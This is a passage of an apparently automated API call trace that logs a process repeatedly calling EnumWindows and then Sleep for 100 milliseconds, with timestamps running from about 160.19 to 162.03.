(lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.192] Sleep (dwMilliseconds=0x64) [0160.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.193] Sleep (dwMilliseconds=0x64) [0160.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.195] Sleep (dwMilliseconds=0x64) [0160.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.197] Sleep (dwMilliseconds=0x64) [0160.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.199] Sleep (dwMilliseconds=0x64) [0160.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.201] Sleep (dwMilliseconds=0x64) [0160.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.202] Sleep (dwMilliseconds=0x64) [0160.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.204] Sleep (dwMilliseconds=0x64) [0160.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.206] Sleep (dwMilliseconds=0x64) [0160.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.208] Sleep (dwMilliseconds=0x64) [0160.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.209] Sleep (dwMilliseconds=0x64) [0160.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.211] Sleep (dwMilliseconds=0x64) [0160.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.213] Sleep (dwMilliseconds=0x64) [0160.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.216] Sleep (dwMilliseconds=0x64) [0160.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.217] Sleep (dwMilliseconds=0x64) [0160.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.219] Sleep (dwMilliseconds=0x64) [0160.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.222] Sleep (dwMilliseconds=0x64) [0160.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.224] Sleep (dwMilliseconds=0x64) [0160.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.226] Sleep (dwMilliseconds=0x64) [0160.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.228] Sleep (dwMilliseconds=0x64) [0160.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.229] Sleep (dwMilliseconds=0x64) [0160.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.231] Sleep (dwMilliseconds=0x64) [0160.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.232] Sleep (dwMilliseconds=0x64) [0160.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.234] Sleep (dwMilliseconds=0x64) [0160.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.236] Sleep (dwMilliseconds=0x64) [0160.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.237] Sleep (dwMilliseconds=0x64) [0160.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.240] Sleep (dwMilliseconds=0x64) [0160.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.242] Sleep (dwMilliseconds=0x64) [0160.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.244] Sleep (dwMilliseconds=0x64) [0160.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.246] Sleep (dwMilliseconds=0x64) [0160.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.247] Sleep (dwMilliseconds=0x64) [0160.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.310] Sleep (dwMilliseconds=0x64) [0160.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.312] Sleep (dwMilliseconds=0x64) [0160.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.314] Sleep (dwMilliseconds=0x64) [0160.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.316] Sleep (dwMilliseconds=0x64) [0160.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.318] Sleep (dwMilliseconds=0x64) [0160.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.320] Sleep (dwMilliseconds=0x64) [0160.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.334] Sleep (dwMilliseconds=0x64) [0160.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.336] Sleep (dwMilliseconds=0x64) [0160.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.338] Sleep (dwMilliseconds=0x64) [0160.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.340] Sleep (dwMilliseconds=0x64) [0160.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.342] Sleep (dwMilliseconds=0x64) [0160.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.344] Sleep (dwMilliseconds=0x64) [0160.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.346] Sleep (dwMilliseconds=0x64) [0160.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.348] Sleep (dwMilliseconds=0x64) [0160.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.350] Sleep (dwMilliseconds=0x64) [0160.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.352] Sleep (dwMilliseconds=0x64) [0160.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.354] Sleep (dwMilliseconds=0x64) [0160.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.358] Sleep (dwMilliseconds=0x64) [0160.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.359] Sleep (dwMilliseconds=0x64) [0160.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.361] Sleep (dwMilliseconds=0x64) [0160.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.362] Sleep (dwMilliseconds=0x64) [0160.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.365] Sleep (dwMilliseconds=0x64) [0160.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.367] Sleep (dwMilliseconds=0x64) [0160.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.368] Sleep (dwMilliseconds=0x64) [0160.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.370] Sleep (dwMilliseconds=0x64) [0160.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.372] Sleep (dwMilliseconds=0x64) [0160.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.374] Sleep (dwMilliseconds=0x64) [0160.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.375] Sleep (dwMilliseconds=0x64) [0160.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.377] Sleep (dwMilliseconds=0x64) [0160.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.380] Sleep (dwMilliseconds=0x64) [0160.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.382] Sleep (dwMilliseconds=0x64) [0160.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.384] Sleep (dwMilliseconds=0x64) [0160.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.387] Sleep (dwMilliseconds=0x64) [0160.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.389] Sleep (dwMilliseconds=0x64) [0160.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.390] Sleep (dwMilliseconds=0x64) [0160.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.392] Sleep (dwMilliseconds=0x64) [0160.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.394] Sleep (dwMilliseconds=0x64) [0160.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.396] Sleep (dwMilliseconds=0x64) [0160.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.397] Sleep (dwMilliseconds=0x64) [0160.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.399] Sleep (dwMilliseconds=0x64) [0160.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.400] Sleep (dwMilliseconds=0x64) [0160.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.402] Sleep (dwMilliseconds=0x64) [0160.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.415] Sleep (dwMilliseconds=0x64) [0160.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.416] Sleep (dwMilliseconds=0x64) [0160.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.418] Sleep (dwMilliseconds=0x64) [0160.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.420] Sleep (dwMilliseconds=0x64) [0160.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.422] Sleep (dwMilliseconds=0x64) [0160.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.424] Sleep (dwMilliseconds=0x64) [0160.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.426] Sleep (dwMilliseconds=0x64) [0160.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.428] Sleep (dwMilliseconds=0x64) [0160.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.429] Sleep (dwMilliseconds=0x64) [0160.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.432] Sleep (dwMilliseconds=0x64) [0160.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.434] Sleep (dwMilliseconds=0x64) [0160.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.436] Sleep (dwMilliseconds=0x64) [0160.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.438] Sleep (dwMilliseconds=0x64) [0160.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.439] Sleep (dwMilliseconds=0x64) [0160.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.441] Sleep (dwMilliseconds=0x64) [0160.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.443] Sleep (dwMilliseconds=0x64) [0160.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.444] Sleep (dwMilliseconds=0x64) [0160.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.446] Sleep (dwMilliseconds=0x64) [0160.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.495] Sleep (dwMilliseconds=0x64) [0160.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.497] Sleep (dwMilliseconds=0x64) [0160.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.498] Sleep (dwMilliseconds=0x64) [0160.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.500] Sleep (dwMilliseconds=0x64) [0160.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.501] Sleep (dwMilliseconds=0x64) [0160.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.503] Sleep (dwMilliseconds=0x64) [0160.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.505] Sleep (dwMilliseconds=0x64) [0160.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.507] Sleep (dwMilliseconds=0x64) [0160.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.509] Sleep (dwMilliseconds=0x64) [0160.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.510] Sleep (dwMilliseconds=0x64) [0160.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.512] Sleep (dwMilliseconds=0x64) [0160.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.516] Sleep (dwMilliseconds=0x64) [0160.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.517] Sleep (dwMilliseconds=0x64) [0160.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.519] Sleep (dwMilliseconds=0x64) [0160.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.522] Sleep (dwMilliseconds=0x64) [0160.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.523] Sleep (dwMilliseconds=0x64) [0160.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.525] Sleep (dwMilliseconds=0x64) [0160.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.527] Sleep (dwMilliseconds=0x64) [0160.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.529] Sleep (dwMilliseconds=0x64) [0160.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.532] Sleep (dwMilliseconds=0x64) [0160.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.612] Sleep (dwMilliseconds=0x64) [0160.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.613] Sleep (dwMilliseconds=0x64) [0160.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.615] Sleep (dwMilliseconds=0x64) [0160.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.617] Sleep (dwMilliseconds=0x64) [0160.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.619] Sleep (dwMilliseconds=0x64) [0160.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.620] Sleep (dwMilliseconds=0x64) [0160.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.622] Sleep (dwMilliseconds=0x64) [0160.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.624] Sleep (dwMilliseconds=0x64) [0160.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.625] Sleep (dwMilliseconds=0x64) [0160.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.627] Sleep (dwMilliseconds=0x64) [0160.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.628] Sleep (dwMilliseconds=0x64) [0160.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.630] Sleep (dwMilliseconds=0x64) [0160.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.632] Sleep (dwMilliseconds=0x64) [0160.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.634] Sleep (dwMilliseconds=0x64) [0160.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.635] Sleep (dwMilliseconds=0x64) [0160.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.637] Sleep (dwMilliseconds=0x64) [0160.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.638] Sleep (dwMilliseconds=0x64) [0160.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.641] Sleep (dwMilliseconds=0x64) [0160.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.654] Sleep (dwMilliseconds=0x64) [0160.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.739] Sleep (dwMilliseconds=0x64) [0160.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.756] Sleep (dwMilliseconds=0x64) [0160.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.757] Sleep (dwMilliseconds=0x64) [0160.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.759] Sleep (dwMilliseconds=0x64) [0160.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.763] Sleep (dwMilliseconds=0x64) [0160.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.765] Sleep (dwMilliseconds=0x64) [0160.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.766] Sleep (dwMilliseconds=0x64) [0160.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.768] Sleep (dwMilliseconds=0x64) [0160.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.769] Sleep (dwMilliseconds=0x64) [0160.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.780] Sleep (dwMilliseconds=0x64) [0160.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.784] Sleep (dwMilliseconds=0x64) [0160.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.786] Sleep (dwMilliseconds=0x64) [0160.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.850] Sleep (dwMilliseconds=0x64) [0160.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.894] Sleep (dwMilliseconds=0x64) [0160.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.896] Sleep (dwMilliseconds=0x64) [0160.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.898] Sleep (dwMilliseconds=0x64) [0160.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.901] Sleep (dwMilliseconds=0x64) [0160.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.902] Sleep (dwMilliseconds=0x64) [0160.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.904] Sleep (dwMilliseconds=0x64) [0160.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.905] Sleep (dwMilliseconds=0x64) [0160.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.907] Sleep (dwMilliseconds=0x64) [0160.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.908] Sleep (dwMilliseconds=0x64) [0160.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.910] Sleep (dwMilliseconds=0x64) [0160.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.914] Sleep (dwMilliseconds=0x64) [0160.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.916] Sleep (dwMilliseconds=0x64) [0160.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.917] Sleep (dwMilliseconds=0x64) [0160.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.919] Sleep (dwMilliseconds=0x64) [0160.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.920] Sleep (dwMilliseconds=0x64) [0160.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.922] Sleep (dwMilliseconds=0x64) [0160.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.924] Sleep (dwMilliseconds=0x64) [0160.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.993] Sleep (dwMilliseconds=0x64) [0161.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.129] Sleep (dwMilliseconds=0x64) [0161.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.132] Sleep (dwMilliseconds=0x64) [0161.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.134] Sleep (dwMilliseconds=0x64) [0161.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.136] Sleep (dwMilliseconds=0x64) [0161.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.138] Sleep (dwMilliseconds=0x64) [0161.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.139] Sleep (dwMilliseconds=0x64) [0161.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.142] Sleep (dwMilliseconds=0x64) [0161.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.145] Sleep (dwMilliseconds=0x64) [0161.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.146] Sleep (dwMilliseconds=0x64) [0161.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.148] Sleep (dwMilliseconds=0x64) [0161.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.150] Sleep (dwMilliseconds=0x64) [0161.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.152] Sleep (dwMilliseconds=0x64) [0161.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.154] Sleep (dwMilliseconds=0x64) [0161.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.155] Sleep (dwMilliseconds=0x64) [0161.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.157] Sleep (dwMilliseconds=0x64) [0161.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.159] Sleep (dwMilliseconds=0x64) [0161.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.194] Sleep (dwMilliseconds=0x64) [0161.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.314] Sleep (dwMilliseconds=0x64) [0161.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.316] Sleep (dwMilliseconds=0x64) [0161.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.320] Sleep (dwMilliseconds=0x64) [0161.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.322] Sleep (dwMilliseconds=0x64) [0161.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.333] Sleep (dwMilliseconds=0x64) [0161.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.335] Sleep (dwMilliseconds=0x64) [0161.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.337] Sleep (dwMilliseconds=0x64) [0161.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.339] Sleep (dwMilliseconds=0x64) [0161.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.341] Sleep (dwMilliseconds=0x64) [0161.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.368] Sleep (dwMilliseconds=0x64) [0161.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.464] Sleep (dwMilliseconds=0x64) [0161.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.466] Sleep (dwMilliseconds=0x64) [0161.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.468] Sleep (dwMilliseconds=0x64) [0161.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.470] Sleep (dwMilliseconds=0x64) [0161.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.471] Sleep (dwMilliseconds=0x64) [0161.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.473] Sleep (dwMilliseconds=0x64) [0161.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.474] Sleep (dwMilliseconds=0x64) [0161.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.476] Sleep (dwMilliseconds=0x64) [0161.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.478] Sleep (dwMilliseconds=0x64) [0161.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.479] Sleep (dwMilliseconds=0x64) [0161.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.481] Sleep (dwMilliseconds=0x64) [0161.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.483] Sleep (dwMilliseconds=0x64) [0161.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.488] Sleep (dwMilliseconds=0x64) [0161.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.490] Sleep (dwMilliseconds=0x64) [0161.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.494] Sleep (dwMilliseconds=0x64) [0161.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.516] Sleep (dwMilliseconds=0x64) [0161.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.623] Sleep (dwMilliseconds=0x64) [0161.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.625] Sleep (dwMilliseconds=0x64) [0161.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.627] Sleep (dwMilliseconds=0x64) [0161.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.629] Sleep (dwMilliseconds=0x64) [0161.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.631] Sleep (dwMilliseconds=0x64) [0161.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.633] Sleep (dwMilliseconds=0x64) [0161.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.635] Sleep (dwMilliseconds=0x64) [0161.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.637] Sleep (dwMilliseconds=0x64) [0161.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.692] Sleep (dwMilliseconds=0x64) [0161.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.702] Sleep (dwMilliseconds=0x64) [0161.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.801] Sleep (dwMilliseconds=0x64) [0161.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.819] Sleep (dwMilliseconds=0x64) [0161.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.823] Sleep (dwMilliseconds=0x64) [0161.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.827] Sleep (dwMilliseconds=0x64) [0161.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.829] Sleep (dwMilliseconds=0x64) [0161.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.831] Sleep (dwMilliseconds=0x64) [0161.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.832] Sleep (dwMilliseconds=0x64) [0161.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.834] Sleep (dwMilliseconds=0x64) [0161.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.836] Sleep (dwMilliseconds=0x64) [0161.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.838] Sleep (dwMilliseconds=0x64) [0161.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.840] Sleep (dwMilliseconds=0x64) [0161.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.842] Sleep (dwMilliseconds=0x64) [0161.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.844] Sleep (dwMilliseconds=0x64) [0161.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.846] Sleep (dwMilliseconds=0x64) [0161.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.848] Sleep (dwMilliseconds=0x64) [0161.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0161.934] Sleep (dwMilliseconds=0x64) [0162.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.016] Sleep (dwMilliseconds=0x64) [0162.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.018] Sleep (dwMilliseconds=0x64) [0162.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.019] Sleep (dwMilliseconds=0x64) [0162.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.021] Sleep (dwMilliseconds=0x64) [0162.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.025] Sleep (dwMilliseconds=0x64) [0162.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.028] Sleep (dwMilliseconds=0x64) [0162.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.031] Sleep (dwMilliseconds=0x64) [0162.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.032] Sleep (dwMilliseconds=0x64) [0162.034] EnumWindows 